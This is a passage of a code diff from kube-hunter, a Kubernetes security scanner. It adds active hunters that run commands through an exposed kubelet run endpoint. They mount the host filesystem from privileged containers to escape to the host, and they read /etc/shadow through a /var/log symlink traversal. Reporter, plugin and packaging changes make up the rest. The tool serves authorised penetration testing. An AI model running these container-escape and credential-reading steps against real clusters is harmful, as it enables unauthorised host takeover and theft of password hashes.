self.rm_command(run_request_url, file_name_with_path, number_of_rm_attempts, seconds_to_wait_for_os_command)
|
||||
|
||||
return {"result": False}
|
||||
|
||||
def check_directory_exists(self, run_request_url, directory):
|
||||
directory_exists = self.ls_command(run_request_url=run_request_url, file_or_directory=directory)
|
||||
|
||||
return ProveAnonymousAuth.has_no_error_nor_exception(directory_exists)
|
||||
|
||||
def rmdir_command(
|
||||
self,
|
||||
run_request_url,
|
||||
directory_to_remove,
|
||||
number_of_rmdir_attempts,
|
||||
seconds_to_wait_for_os_command,
|
||||
):
|
||||
if self.check_directory_exists(run_request_url, directory_to_remove):
|
||||
for _ in range(number_of_rmdir_attempts):
|
||||
command_execution_outcome = self.post_request(run_request_url, {"cmd": f"rmdir {directory_to_remove}"})
|
||||
|
||||
if seconds_to_wait_for_os_command:
|
||||
time.sleep(seconds_to_wait_for_os_command)
|
||||
|
||||
first_check = ProveAnonymousAuth.has_no_error_nor_exception(command_execution_outcome)
|
||||
second_check = self.check_directory_exists(run_request_url, directory_to_remove)
|
||||
|
||||
if first_check and not second_check:
|
||||
return True
|
||||
|
||||
pod_id = run_request_url.replace(self.base_url + "run/", "").split("/")[1]
|
||||
container_name = run_request_url.replace(self.base_url + "run/", "").split("/")[2]
|
||||
logger.warning(
|
||||
"kube-hunter: "
|
||||
+ "POD="
|
||||
+ pod_id
|
||||
+ ", "
|
||||
+ "CONTAINER="
|
||||
+ container_name
|
||||
+ " - Unable to remove directory: "
|
||||
+ directory_to_remove
|
||||
)
|
||||
|
||||
return False
|
||||
|
||||
def ls_command(self, run_request_url, file_or_directory):
|
||||
return self.post_request(run_request_url, {"cmd": f"ls {file_or_directory}"})
|
||||
|
||||
def umount_command(
|
||||
self,
|
||||
run_request_url,
|
||||
file_system_or_partition,
|
||||
directory,
|
||||
number_of_umount_attempts,
|
||||
seconds_to_wait_for_os_command,
|
||||
):
|
||||
# Note: the logic implemented proved more reliable than using "df"
|
||||
# command to resolve for mounted systems/partitions.
|
||||
current_files_and_directories = self.ls_command(run_request_url, directory)
|
||||
|
||||
if self.ls_command(run_request_url, directory) == current_files_and_directories:
|
||||
for _ in range(number_of_umount_attempts):
|
||||
# Ref: http://man7.org/linux/man-pages/man2/umount.2.html
|
||||
command_execution_outcome = self.post_request(
|
||||
run_request_url, {"cmd": f"umount {file_system_or_partition} {directory}"}
|
||||
)
|
||||
|
||||
if seconds_to_wait_for_os_command:
|
||||
time.sleep(seconds_to_wait_for_os_command)
|
||||
|
||||
first_check = ProveAnonymousAuth.has_no_error_nor_exception(command_execution_outcome)
|
||||
second_check = self.ls_command(run_request_url, directory) != current_files_and_directories
|
||||
|
||||
if first_check and second_check:
|
||||
return True
|
||||
|
||||
pod_id = run_request_url.replace(self.base_url + "run/", "").split("/")[1]
|
||||
container_name = run_request_url.replace(self.base_url + "run/", "").split("/")[2]
|
||||
logger.warning(
|
||||
"kube-hunter: "
|
||||
+ "POD="
|
||||
+ pod_id
|
||||
+ ", "
|
||||
+ "CONTAINER="
|
||||
+ container_name
|
||||
+ " - Unable to unmount "
|
||||
+ file_system_or_partition
|
||||
+ " at: "
|
||||
+ directory
|
||||
)
|
||||
|
||||
return False
|
||||
|
||||
def mount_command(self, run_request_url, file_system_or_partition, directory):
|
||||
# Ref: http://man7.org/linux/man-pages/man1/mkdir.1.html
|
||||
return self.post_request(run_request_url, {"cmd": f"mount {file_system_or_partition} {directory}"})
|
||||
|
||||
def mkdir_command(self, run_request_url, directory_to_create):
|
||||
# Ref: http://man7.org/linux/man-pages/man1/mkdir.1.html
|
||||
return self.post_request(run_request_url, {"cmd": f"mkdir {directory_to_create}"})
|
||||
|
||||
def findfs_command(self, run_request_url, file_system_or_partition_type, file_system_or_partition):
|
||||
# Ref: http://man7.org/linux/man-pages/man8/findfs.8.html
|
||||
return self.post_request(
|
||||
run_request_url, {"cmd": f"findfs {file_system_or_partition_type}{file_system_or_partition}"}
|
||||
)
|
||||
|
||||
def get_root_values(self, command_line):
|
||||
for command in command_line.split(" "):
|
||||
# Check for variable-definition commands as there can be commands which don't define variables.
|
||||
if "=" in command:
|
||||
split = command.split("=")
|
||||
if split[0] == "root":
|
||||
if len(split) > 2:
|
||||
# Potential valid scenario: root=LABEL=example
|
||||
root_value_type = split[1] + "="
|
||||
root_value = split[2]
|
||||
|
||||
return root_value, root_value_type
|
||||
else:
|
||||
root_value_type = ""
|
||||
root_value = split[1]
|
||||
|
||||
return root_value, root_value_type
|
||||
|
||||
return None, None
|
||||
|
||||
def process_exposed_existing_privileged_container(
|
||||
self,
|
||||
run_request_url,
|
||||
number_of_umount_attempts,
|
||||
number_of_rmdir_attempts,
|
||||
seconds_to_wait_for_os_command,
|
||||
directory_to_create=None,
|
||||
):
|
||||
if directory_to_create is None:
|
||||
directory_to_create = "/kube-hunter_" + str(uuid.uuid1())
|
||||
|
||||
# /proc/cmdline - This file shows the parameters passed to the kernel at the time it is started.
|
||||
command_line = self.cat_command(run_request_url, "/proc/cmdline")
|
||||
|
||||
if ProveAnonymousAuth.has_no_error_nor_exception(command_line):
|
||||
if len(command_line.split(" ")) > 0:
|
||||
root_value, root_value_type = self.get_root_values(command_line)
|
||||
|
||||
# Move forward only when the "root" variable value was actually defined.
|
||||
if root_value:
|
||||
if root_value_type:
|
||||
file_system_or_partition = self.findfs_command(run_request_url, root_value_type, root_value)
|
||||
else:
|
||||
file_system_or_partition = root_value
|
||||
|
||||
if ProveAnonymousAuth.has_no_error_nor_exception(file_system_or_partition):
|
||||
directory_created = self.mkdir_command(run_request_url, directory_to_create)
|
||||
|
||||
if ProveAnonymousAuth.has_no_error_nor_exception(directory_created):
|
||||
directory_created = directory_to_create
|
||||
|
||||
mounted_file_system_or_partition = self.mount_command(
|
||||
run_request_url, file_system_or_partition, directory_created
|
||||
)
|
||||
|
||||
if ProveAnonymousAuth.has_no_error_nor_exception(mounted_file_system_or_partition):
|
||||
host_name = self.cat_command(run_request_url, f"{directory_created}/etc/hostname")
|
||||
|
||||
if ProveAnonymousAuth.has_no_error_nor_exception(host_name):
|
||||
return {
|
||||
"result": True,
|
||||
"file_system_or_partition": file_system_or_partition,
|
||||
"directory_created": directory_created,
|
||||
}
|
||||
|
||||
self.umount_command(
|
||||
run_request_url,
|
||||
file_system_or_partition,
|
||||
directory_created,
|
||||
number_of_umount_attempts,
|
||||
seconds_to_wait_for_os_command,
|
||||
)
|
||||
|
||||
self.rmdir_command(
|
||||
run_request_url,
|
||||
directory_created,
|
||||
number_of_rmdir_attempts,
|
||||
seconds_to_wait_for_os_command,
|
||||
)
|
||||
|
||||
return {"result": False}
|
||||
|
||||
def execute(self, directory_to_create=None, file_name=None):
|
||||
temp_message = ""
|
||||
|
||||
for exposed_existing_privileged_containers in self.event.exposed_existing_privileged_containers:
|
||||
pod_namespace = exposed_existing_privileged_containers["pod_namespace"]
|
||||
pod_id = exposed_existing_privileged_containers["pod_id"]
|
||||
container_name = exposed_existing_privileged_containers["container_name"]
|
||||
|
||||
run_request_url = self.base_url + f"run/{pod_namespace}/{pod_id}/{container_name}"
|
||||
|
||||
is_exposed_existing_privileged_container_privileged = self.process_exposed_existing_privileged_container(
|
||||
run_request_url,
|
||||
self.number_of_umount_attempts,
|
||||
self.number_of_rmdir_attempts,
|
||||
self.seconds_to_wait_for_os_command,
|
||||
directory_to_create,
|
||||
)
|
||||
|
||||
if is_exposed_existing_privileged_container_privileged["result"]:
|
||||
file_system_or_partition = is_exposed_existing_privileged_container_privileged[
|
||||
"file_system_or_partition"
|
||||
]
|
||||
directory_created = is_exposed_existing_privileged_container_privileged["directory_created"]
|
||||
|
||||
# Execute attack attempt: start/modify process in host.
|
||||
attack_successful_on_exposed_privileged_container = self.attack_exposed_existing_privileged_container(
|
||||
run_request_url,
|
||||
directory_created,
|
||||
self.number_of_rm_attempts,
|
||||
self.seconds_to_wait_for_os_command,
|
||||
file_name,
|
||||
)
|
||||
|
||||
if attack_successful_on_exposed_privileged_container["result"]:
|
||||
file_created = attack_successful_on_exposed_privileged_container["file_created"]
|
||||
|
||||
self.clean_attacked_exposed_existing_privileged_container(
|
||||
run_request_url,
|
||||
file_system_or_partition,
|
||||
directory_created,
|
||||
file_created,
|
||||
self.number_of_rm_attempts,
|
||||
self.number_of_umount_attempts,
|
||||
self.number_of_rmdir_attempts,
|
||||
self.seconds_to_wait_for_os_command,
|
||||
)
|
||||
|
||||
temp_message += "\n\nPod namespace: {}\n\nPod ID: {}\n\nContainer name: {}".format(
|
||||
pod_namespace, pod_id, container_name
|
||||
)
|
||||
|
||||
if temp_message:
|
||||
message = (
|
||||
"The following exposed existing privileged containers"
|
||||
+ " have been successfully abused by starting/modifying a process in the host."
|
||||
+ temp_message
|
||||
)
|
||||
|
||||
self.event.evidence = f"{message}"
|
||||
else:
|
||||
message = (
|
||||
"The following exposed existing privileged containers"
|
||||
+ " were not successfully abused by starting/modifying a process in the host."
|
||||
+ "Keep in mind that attackers might use other methods to attempt to abuse them."
|
||||
+ temp_message
|
||||
)
|
||||
|
||||
self.event.evidence = f"{message}"
|
||||
|
||||
|
||||
@handler.subscribe(ExposedRunHandler)
|
||||
class ProveRunHandler(ActiveHunter):
|
||||
"""Kubelet Run Hunter
|
||||
@@ -453,18 +1051,22 @@ class ProveRunHandler(ActiveHunter):
|
||||
cmd=command,
|
||||
)
|
||||
return self.event.session.post(
|
||||
f"{self.base_path}/{run_url}", verify=False, timeout=config.network_timeout,
|
||||
f"{self.base_path}/{run_url}",
|
||||
verify=False,
|
||||
timeout=config.network_timeout,
|
||||
).text
|
||||
|
||||
def execute(self):
|
||||
config = get_config()
|
||||
r = self.event.session.get(
|
||||
self.base_path + KubeletHandlers.PODS.value, verify=False, timeout=config.network_timeout,
|
||||
f"{self.base_path}/" + KubeletHandlers.PODS.value,
|
||||
verify=False,
|
||||
timeout=config.network_timeout,
|
||||
)
|
||||
if "items" in r.text:
|
||||
pods_data = r.json()["items"]
|
||||
for pod_data in pods_data:
|
||||
container_data = next(pod_data["spec"]["containers"])
|
||||
container_data = pod_data["spec"]["containers"][0]
|
||||
if container_data:
|
||||
output = self.run(
|
||||
"uname -a",
|
||||
@@ -493,12 +1095,14 @@ class ProveContainerLogsHandler(ActiveHunter):
|
||||
def execute(self):
|
||||
config = get_config()
|
||||
pods_raw = self.event.session.get(
|
||||
self.base_url + KubeletHandlers.PODS.value, verify=False, timeout=config.network_timeout,
|
||||
self.base_url + KubeletHandlers.PODS.value,
|
||||
verify=False,
|
||||
timeout=config.network_timeout,
|
||||
).text
|
||||
if "items" in pods_raw:
|
||||
pods_data = json.loads(pods_raw)["items"]
|
||||
for pod_data in pods_data:
|
||||
container_data = next(pod_data["spec"]["containers"])
|
||||
container_data = pod_data["spec"]["containers"][0]
|
||||
if container_data:
|
||||
container_name = container_data["name"]
|
||||
output = requests.get(
|
||||
@@ -532,11 +1136,16 @@ class ProveSystemLogs(ActiveHunter):
|
||||
f"{self.base_url}/" + KubeletHandlers.LOGS.value.format(path="audit/audit.log"),
|
||||
verify=False,
|
||||
timeout=config.network_timeout,
|
||||
).text
|
||||
logger.debug(f"Audit log of host {self.event.host}: {audit_logs[:10]}")
|
||||
# iterating over proctitles and converting them into readable strings
|
||||
proctitles = []
|
||||
for proctitle in re.findall(r"proctitle=(\w+)", audit_logs):
|
||||
proctitles.append(bytes.fromhex(proctitle).decode("utf-8").replace("\x00", " "))
|
||||
self.event.proctitles = proctitles
|
||||
self.event.evidence = f"audit log: {proctitles}"
|
||||
)
|
||||
|
||||
# TODO: add more methods for proving system logs
|
||||
if audit_logs.status_code == requests.status_codes.codes.OK:
|
||||
logger.debug(f"Audit log of host {self.event.host}: {audit_logs.text[:10]}")
|
||||
# iterating over proctitles and converting them into readable strings
|
||||
proctitles = []
|
||||
for proctitle in re.findall(r"proctitle=(\w+)", audit_logs.text):
|
||||
proctitles.append(bytes.fromhex(proctitle).decode("utf-8").replace("\x00", " "))
|
||||
self.event.proctitles = proctitles
|
||||
self.event.evidence = f"audit log: {proctitles}"
|
||||
else:
|
||||
self.event.evidence = "Could not parse system logs"
|
||||
|
||||
@@ -5,12 +5,7 @@ import uuid
|
||||
from kube_hunter.conf import get_config
|
||||
from kube_hunter.core.events import handler
|
||||
from kube_hunter.core.events.types import Event, Vulnerability
|
||||
from kube_hunter.core.types import (
|
||||
ActiveHunter,
|
||||
Hunter,
|
||||
KubernetesCluster,
|
||||
PrivilegeEscalation,
|
||||
)
|
||||
from kube_hunter.core.types import ActiveHunter, Hunter, KubernetesCluster, HostPathMountPrivilegeEscalationTechnique
|
||||
from kube_hunter.modules.hunting.kubelet import (
|
||||
ExposedPodsHandler,
|
||||
ExposedRunHandler,
|
||||
@@ -25,10 +20,14 @@ class WriteMountToVarLog(Vulnerability, Event):
|
||||
|
||||
def __init__(self, pods):
|
||||
Vulnerability.__init__(
|
||||
self, KubernetesCluster, "Pod With Mount To /var/log", category=PrivilegeEscalation, vid="KHV047",
|
||||
self,
|
||||
KubernetesCluster,
|
||||
"Pod With Mount To /var/log",
|
||||
category=HostPathMountPrivilegeEscalationTechnique,
|
||||
vid="KHV047",
|
||||
)
|
||||
self.pods = pods
|
||||
self.evidence = "pods: {}".format(", ".join((pod["metadata"]["name"] for pod in self.pods)))
|
||||
self.evidence = "pods: {}".format(", ".join(pod["metadata"]["name"] for pod in self.pods))
|
||||
|
||||
|
||||
class DirectoryTraversalWithKubelet(Vulnerability, Event):
|
||||
@@ -37,10 +36,13 @@ class DirectoryTraversalWithKubelet(Vulnerability, Event):
|
||||
|
||||
def __init__(self, output):
|
||||
Vulnerability.__init__(
|
||||
self, KubernetesCluster, "Root Traversal Read On The Kubelet", category=PrivilegeEscalation,
|
||||
self,
|
||||
KubernetesCluster,
|
||||
"Root Traversal Read On The Kubelet",
|
||||
category=HostPathMountPrivilegeEscalationTechnique,
|
||||
)
|
||||
self.output = output
|
||||
self.evidence = "output: {}".format(self.output)
|
||||
self.evidence = f"output: {self.output}"
|
||||
|
||||
|
||||
@handler.subscribe(ExposedPodsHandler)
|
||||
@@ -70,34 +72,27 @@ class VarLogMountHunter(Hunter):
|
||||
self.publish_event(WriteMountToVarLog(pods=pe_pods))
|
||||
|
||||
|
||||
@handler.subscribe(ExposedRunHandler)
|
||||
@handler.subscribe_many([ExposedRunHandler, WriteMountToVarLog])
|
||||
class ProveVarLogMount(ActiveHunter):
|
||||
"""Prove /var/log Mount Hunter
|
||||
Tries to read /etc/shadow on the host by running commands inside a pod with host mount to /var/log
|
||||
"""
|
||||
|
||||
def __init__(self, event):
|
||||
self.event = event
|
||||
self.base_path = f"https://{self.event.host}:{self.event.port}"
|
||||
self.write_mount_event = self.event.get_by_class(WriteMountToVarLog)
|
||||
self.event = self.write_mount_event
|
||||
|
||||
self.base_path = f"https://{self.write_mount_event.host}:{self.write_mount_event.port}"
|
||||
|
||||
def run(self, command, container):
|
||||
run_url = KubeletHandlers.RUN.value.format(
|
||||
podNamespace=container["namespace"], podID=container["pod"], containerName=container["name"], cmd=command,
|
||||
podNamespace=container["namespace"],
|
||||
podID=container["pod"],
|
||||
containerName=container["name"],
|
||||
cmd=command,
|
||||
)
|
||||
return self.event.session.post(f"{self.base_path}/{run_url}", verify=False).text
|
||||
|
||||
# TODO: replace with multiple subscription to WriteMountToVarLog as well
|
||||
def get_varlog_mounters(self):
|
||||
config = get_config()
|
||||
logger.debug("accessing /pods manually on ProveVarLogMount")
|
||||
pods = self.event.session.get(
|
||||
f"{self.base_path}/" + KubeletHandlers.PODS.value, verify=False, timeout=config.network_timeout,
|
||||
).json()["items"]
|
||||
for pod in pods:
|
||||
volume = VarLogMountHunter(ExposedPodsHandler(pods=pods)).has_write_mount_to(pod, "/var/log")
|
||||
if volume:
|
||||
yield pod, volume
|
||||
|
||||
def mount_path_from_mountname(self, pod, mount_name):
|
||||
"""returns container name, and container mount path correlated to mount_name"""
|
||||
for container in pod["spec"]["containers"]:
|
||||
@@ -117,14 +112,16 @@ class ProveVarLogMount(ActiveHunter):
|
||||
path=re.sub(r"^/var/log", "", host_path) + symlink_name
|
||||
)
|
||||
content = self.event.session.get(
|
||||
f"{self.base_path}/{path_in_logs_endpoint}", verify=False, timeout=config.network_timeout,
|
||||
f"{self.base_path}/{path_in_logs_endpoint}",
|
||||
verify=False,
|
||||
timeout=config.network_timeout,
|
||||
).text
|
||||
# removing symlink
|
||||
self.run(f"rm {mount_path}/{symlink_name}", container=container)
|
||||
return content
|
||||
|
||||
def execute(self):
|
||||
for pod, volume in self.get_varlog_mounters():
|
||||
for pod, volume in self.write_mount_event.pe_pods():
|
||||
for container, mount_path in self.mount_path_from_mountname(pod, volume["name"]):
|
||||
logger.debug("Correlated container to mount_name")
|
||||
cont = {
|
||||
@@ -134,7 +131,10 @@ class ProveVarLogMount(ActiveHunter):
|
||||
}
|
||||
try:
|
||||
output = self.traverse_read(
|
||||
"/etc/shadow", container=cont, mount_path=mount_path, host_path=volume["hostPath"]["path"],
|
||||
"/etc/shadow",
|
||||
container=cont,
|
||||
mount_path=mount_path,
|
||||
host_path=volume["hostPath"]["path"],
|
||||
)
|
||||
self.publish_event(DirectoryTraversalWithKubelet(output=output))
|
||||
except Exception:
|
||||
|
||||
@@ -10,7 +10,7 @@ from kube_hunter.core.types import (
|
||||
ActiveHunter,
|
||||
Hunter,
|
||||
KubernetesCluster,
|
||||
InformationDisclosure,
|
||||
ConnectFromProxyServerTechnique,
|
||||
)
|
||||
from kube_hunter.modules.discovery.dashboard import KubeDashboardEvent
|
||||
from kube_hunter.modules.discovery.proxy import KubeProxyEvent
|
||||
@@ -23,7 +23,11 @@ class KubeProxyExposed(Vulnerability, Event):
|
||||
|
||||
def __init__(self):
|
||||
Vulnerability.__init__(
|
||||
self, KubernetesCluster, "Proxy Exposed", category=InformationDisclosure, vid="KHV049",
|
||||
self,
|
||||
KubernetesCluster,
|
||||
"Proxy Exposed",
|
||||
category=ConnectFromProxyServerTechnique,
|
||||
vid="KHV049",
|
||||
)
|
||||
|
||||
|
||||
@@ -89,7 +93,9 @@ class ProveProxyExposed(ActiveHunter):
|
||||
def execute(self):
|
||||
config = get_config()
|
||||
version_metadata = requests.get(
|
||||
f"http://{self.event.host}:{self.event.port}/version", verify=False, timeout=config.network_timeout,
|
||||
f"http://{self.event.host}:{self.event.port}/version",
|
||||
verify=False,
|
||||
timeout=config.network_timeout,
|
||||
).json()
|
||||
if "buildDate" in version_metadata:
|
||||
self.event.evidence = "build date: {}".format(version_metadata["buildDate"])
|
||||
@@ -107,11 +113,16 @@ class K8sVersionDisclosureProve(ActiveHunter):
|
||||
def execute(self):
|
||||
config = get_config()
|
||||
version_metadata = requests.get(
|
||||
f"http://{self.event.host}:{self.event.port}/version", verify=False, timeout=config.network_timeout,
|
||||
f"http://{self.event.host}:{self.event.port}/version",
|
||||
verify=False,
|
||||
timeout=config.network_timeout,
|
||||
).json()
|
||||
if "gitVersion" in version_metadata:
|
||||
self.publish_event(
|
||||
K8sVersionDisclosure(
|
||||
version=version_metadata["gitVersion"], from_endpoint="/version", extra_info="on kube-proxy",
|
||||
version=version_metadata["gitVersion"],
|
||||
from_endpoint="/version",
|
||||
extra_info="on kube-proxy",
|
||||
category=ConnectFromProxyServerTechnique,
|
||||
)
|
||||
)
|
||||
|
||||
@@ -3,32 +3,35 @@ import os
|
||||
|
||||
from kube_hunter.core.events import handler
|
||||
from kube_hunter.core.events.types import Vulnerability, Event
|
||||
from kube_hunter.core.types import Hunter, KubernetesCluster, AccessRisk
|
||||
from kube_hunter.core.types import Hunter, KubernetesCluster, AccessContainerServiceAccountTechnique
|
||||
from kube_hunter.modules.discovery.hosts import RunningAsPodEvent
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
|
||||
class ServiceAccountTokenAccess(Vulnerability, Event):
|
||||
""" Accessing the pod service account token gives an attacker the option to use the server API """
|
||||
"""Accessing the pod service account token gives an attacker the option to use the server API"""
|
||||
|
||||
def __init__(self, evidence):
|
||||
Vulnerability.__init__(
|
||||
self,
|
||||
KubernetesCluster,
|
||||
name="Read access to pod's service account token",
|
||||
category=AccessRisk,
|
||||
category=AccessContainerServiceAccountTechnique,
|
||||
vid="KHV050",
|
||||
)
|
||||
self.evidence = evidence
|
||||
|
||||
|
||||
class SecretsAccess(Vulnerability, Event):
|
||||
""" Accessing the pod's secrets within a compromised pod might disclose valuable data to a potential attacker"""
|
||||
"""Accessing the pod's secrets within a compromised pod might disclose valuable data to a potential attacker"""
|
||||
|
||||
def __init__(self, evidence):
|
||||
Vulnerability.__init__(
|
||||
self, component=KubernetesCluster, name="Access to pod's secrets", category=AccessRisk,
|
||||
self,
|
||||
component=KubernetesCluster,
|
||||
name="Access to pod's secrets",
|
||||
category=AccessContainerServiceAccountTechnique,
|
||||
)
|
||||
self.evidence = evidence
|
||||
|
||||
|
||||
@@ -7,6 +7,9 @@ from kube_hunter.modules.report.collector import (
|
||||
vulnerabilities_lock,
|
||||
)
|
||||
|
||||
BASE_KB_LINK = "https://avd.aquasec.com/"
|
||||
FULL_KB_LINK = "https://avd.aquasec.com/kube-hunter/{vid}/"
|
||||
|
||||
|
||||
class BaseReporter:
|
||||
def get_nodes(self):
|
||||
@@ -33,11 +36,12 @@ class BaseReporter:
|
||||
{
|
||||
"location": vuln.location(),
|
||||
"vid": vuln.get_vid(),
|
||||
"category": vuln.category.name,
|
||||
"category": vuln.category.get_name(),
|
||||
"severity": vuln.get_severity(),
|
||||
"vulnerability": vuln.get_name(),
|
||||
"description": vuln.explain(),
|
||||
"evidence": str(vuln.evidence),
|
||||
"avd_reference": FULL_KB_LINK.format(vid=vuln.get_vid().lower()),
|
||||
"hunter": vuln.hunter.get_name(),
|
||||
}
|
||||
for vuln in vulnerabilities
|
||||
@@ -63,6 +67,4 @@ class BaseReporter:
|
||||
if statistics:
|
||||
report["hunter_statistics"] = self.get_hunter_statistics()
|
||||
|
||||
report["kburl"] = "https://aquasecurity.github.io/kube-hunter/kb/{vid}"
|
||||
|
||||
return report
|
||||
|
||||
@@ -12,7 +12,10 @@ class HTTPDispatcher:
|
||||
dispatch_url = os.environ.get("KUBEHUNTER_HTTP_DISPATCH_URL", "https://localhost/")
|
||||
try:
|
||||
r = requests.request(
|
||||
dispatch_method, dispatch_url, json=report, headers={"Content-Type": "application/json"},
|
||||
dispatch_method,
|
||||
dispatch_url,
|
||||
json=report,
|
||||
headers={"Content-Type": "application/json"},
|
||||
)
|
||||
r.raise_for_status()
|
||||
logger.info(f"Report was dispatched to: {dispatch_url}")
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
from prettytable import ALL, PrettyTable
|
||||
|
||||
from kube_hunter.modules.report.base import BaseReporter
|
||||
from kube_hunter.modules.report.base import BaseReporter, BASE_KB_LINK
|
||||
from kube_hunter.modules.report.collector import (
|
||||
services,
|
||||
vulnerabilities,
|
||||
@@ -9,9 +9,8 @@ from kube_hunter.modules.report.collector import (
|
||||
vulnerabilities_lock,
|
||||
)
|
||||
|
||||
EVIDENCE_PREVIEW = 40
|
||||
EVIDENCE_PREVIEW = 100
|
||||
MAX_TABLE_WIDTH = 20
|
||||
KB_LINK = "https://github.com/aquasecurity/kube-hunter/tree/master/docs/_kb"
|
||||
|
||||
|
||||
class PlainReporter(BaseReporter):
|
||||
@@ -60,7 +59,7 @@ class PlainReporter(BaseReporter):
|
||||
if service.event_id not in id_memory:
|
||||
nodes_table.add_row(["Node/Master", service.host])
|
||||
id_memory.add(service.event_id)
|
||||
nodes_ret = "\nNodes\n{}\n".format(nodes_table)
|
||||
nodes_ret = f"\nNodes\n{nodes_table}\n"
|
||||
services_lock.release()
|
||||
return nodes_ret
|
||||
|
||||
@@ -84,7 +83,7 @@ class PlainReporter(BaseReporter):
|
||||
column_names = [
|
||||
"ID",
|
||||
"Location",
|
||||
"Category",
|
||||
"MITRE Category",
|
||||
"Vulnerability",
|
||||
"Description",
|
||||
"Evidence",
|
||||
@@ -92,7 +91,7 @@ class PlainReporter(BaseReporter):
|
||||
vuln_table = PrettyTable(column_names, hrules=ALL)
|
||||
vuln_table.align = "l"
|
||||
vuln_table.max_width = MAX_TABLE_WIDTH
|
||||
vuln_table.sortby = "Category"
|
||||
vuln_table.sortby = "MITRE Category"
|
||||
vuln_table.reversesort = True
|
||||
vuln_table.padding_width = 1
|
||||
vuln_table.header_style = "upper"
|
||||
@@ -102,10 +101,11 @@ class PlainReporter(BaseReporter):
|
||||
evidence = str(vuln.evidence)
|
||||
if len(evidence) > EVIDENCE_PREVIEW:
|
||||
evidence = evidence[:EVIDENCE_PREVIEW] + "..."
|
||||
|
||||
row = [
|
||||
vuln.get_vid(),
|
||||
vuln.location(),
|
||||
vuln.category.name,
|
||||
vuln.category.get_name(),
|
||||
vuln.get_name(),
|
||||
vuln.explain(),
|
||||
evidence,
|
||||
@@ -114,7 +114,7 @@ class PlainReporter(BaseReporter):
|
||||
return (
|
||||
"\nVulnerabilities\n"
|
||||
"For further information about a vulnerability, search its ID in: \n"
|
||||
f"{KB_LINK}\n{vuln_table}\n"
|
||||
f"{BASE_KB_LINK}\n{vuln_table}\n"
|
||||
)
|
||||
|
||||
def hunters_table(self):
|
||||
|
||||
23
kube_hunter/plugins/__init__.py
Normal file
23
kube_hunter/plugins/__init__.py
Normal file
@@ -0,0 +1,23 @@
|
||||
import pluggy
|
||||
|
||||
from kube_hunter.plugins import hookspecs
|
||||
|
||||
hookimpl = pluggy.HookimplMarker("kube-hunter")
|
||||
|
||||
|
||||
def initialize_plugin_manager():
|
||||
"""
|
||||
Initializes and loads all default and setup implementations for registered plugins
|
||||
|
||||
@return: initialized plugin manager
|
||||
"""
|
||||
pm = pluggy.PluginManager("kube-hunter")
|
||||
pm.add_hookspecs(hookspecs)
|
||||
pm.load_setuptools_entrypoints("kube_hunter")
|
||||
|
||||
# default registration of builtin implemented plugins
|
||||
from kube_hunter.conf import parser
|
||||
|
||||
pm.register(parser)
|
||||
|
||||
return pm
|
||||
24
kube_hunter/plugins/hookspecs.py
Normal file
24
kube_hunter/plugins/hookspecs.py
Normal file
@@ -0,0 +1,24 @@
|
||||
import pluggy
|
||||
from argparse import ArgumentParser
|
||||
|
||||
hookspec = pluggy.HookspecMarker("kube-hunter")
|
||||
|
||||
|
||||
@hookspec
|
||||
def parser_add_arguments(parser: ArgumentParser):
|
||||
"""Add arguments to the ArgumentParser.
|
||||
|
||||
If a plugin requires an aditional argument, it should implement this hook
|
||||
and add the argument to the Argument Parser
|
||||
|
||||
@param parser: an ArgumentParser, calls parser.add_argument on it
|
||||
"""
|
||||
|
||||
|
||||
@hookspec
|
||||
def load_plugin(args):
|
||||
"""Plugins that wish to execute code after the argument parsing
|
||||
should implement this hook.
|
||||
|
||||
@param args: all parsed arguments passed to kube-hunter
|
||||
"""
|
||||
3
pyinstaller_hooks/hook-prettytable.py
Normal file
3
pyinstaller_hooks/hook-prettytable.py
Normal file
@@ -0,0 +1,3 @@
|
||||
from PyInstaller.utils.hooks import collect_all
|
||||
|
||||
datas, binaries, hiddenimports = collect_all("prettytable")
|
||||
@@ -2,7 +2,7 @@
|
||||
|
||||
flake8
|
||||
pytest >= 2.9.1
|
||||
requests-mock
|
||||
requests-mock >= 1.8
|
||||
coverage < 5.0
|
||||
pytest-cov
|
||||
setuptools >= 30.3.0
|
||||
@@ -14,3 +14,4 @@ black
|
||||
pre-commit
|
||||
flake8-bugbear
|
||||
flake8-mypy
|
||||
pluggy
|
||||
|
||||
@@ -22,6 +22,8 @@ classifiers =
|
||||
Programming Language :: Python :: 3.6
|
||||
Programming Language :: Python :: 3.7
|
||||
Programming Language :: Python :: 3.8
|
||||
Programming Language :: Python :: 3.9
|
||||
Programming Language :: Python :: 3 :: Only
|
||||
Topic :: Security
|
||||
|
||||
[options]
|
||||
@@ -38,6 +40,8 @@ install_requires =
|
||||
future
|
||||
packaging
|
||||
dataclasses
|
||||
pluggy
|
||||
kubernetes==12.0.1
|
||||
setup_requires =
|
||||
setuptools>=30.3.0
|
||||
setuptools_scm
|
||||
|
||||
2
setup.py
2
setup.py
@@ -41,6 +41,8 @@ class PyInstallerCommand(Command):
|
||||
cfg.read("setup.cfg")
|
||||
command = [
|
||||
"pyinstaller",
|
||||
"--additional-hooks-dir",
|
||||
"pyinstaller_hooks",
|
||||
"--clean",
|
||||
"--onefile",
|
||||
"--name",
|
||||
|
||||
@@ -11,12 +11,13 @@ def test_setup_logger_level():
|
||||
("NOTEXISTS", logging.INFO),
|
||||
("BASIC_FORMAT", logging.INFO),
|
||||
]
|
||||
logFile = None
|
||||
for level, expected in test_cases:
|
||||
setup_logger(level)
|
||||
setup_logger(level, logFile)
|
||||
actual = logging.getLogger().getEffectiveLevel()
|
||||
assert actual == expected, f"{level} level should be {expected} (got {actual})"
|
||||
|
||||
|
||||
def test_setup_logger_none():
|
||||
setup_logger("NONE")
|
||||
setup_logger("NONE", None)
|
||||
assert logging.getLogger().manager.disable == logging.CRITICAL
|
||||
|
||||
@@ -8,7 +8,7 @@ set_config(Config())
|
||||
|
||||
|
||||
def test_presetcloud():
|
||||
""" Testing if it doesn't try to run get_cloud if the cloud type is already set.
|
||||
"""Testing if it doesn't try to run get_cloud if the cloud type is already set.
|
||||
get_cloud(1.2.3.4) will result with an error
|
||||
"""
|
||||
expcted = "AWS"
|
||||
|
||||
@@ -28,11 +28,13 @@ from kube_hunter.modules.hunting.dashboard import KubeDashboard
|
||||
from kube_hunter.modules.hunting.dns import DnsSpoofHunter
|
||||
from kube_hunter.modules.hunting.etcd import EtcdRemoteAccess, EtcdRemoteAccessActive
|
||||
from kube_hunter.modules.hunting.kubelet import (
|
||||
ProveAnonymousAuth,
|
||||
